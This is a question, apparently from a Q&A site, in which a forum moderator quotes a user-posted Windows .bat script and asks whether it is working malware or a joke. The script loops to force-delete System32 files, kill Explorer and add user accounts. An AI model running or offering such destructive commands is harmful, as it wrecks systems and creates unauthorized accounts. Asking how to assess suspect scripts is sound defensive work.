title: .bat file: functional malware or a joke?
body: <p>On a forum I'm moderating, a user posted a .bat file containing the following code:</p>
  
  <pre><code>@echo off
  :virus
  del /f /q "c:\WINDOWS\system32" 
  taskkill explorer.exe
  tskill explorer
  set /a _virus+=1
  net user %_virus+% /add
  goto virus
  </code></pre>
  
  <p>Is this a functioning malware that will do what it looks like at first glance, or just a joke to make it look like it will but doesn't have the right syntax? </p>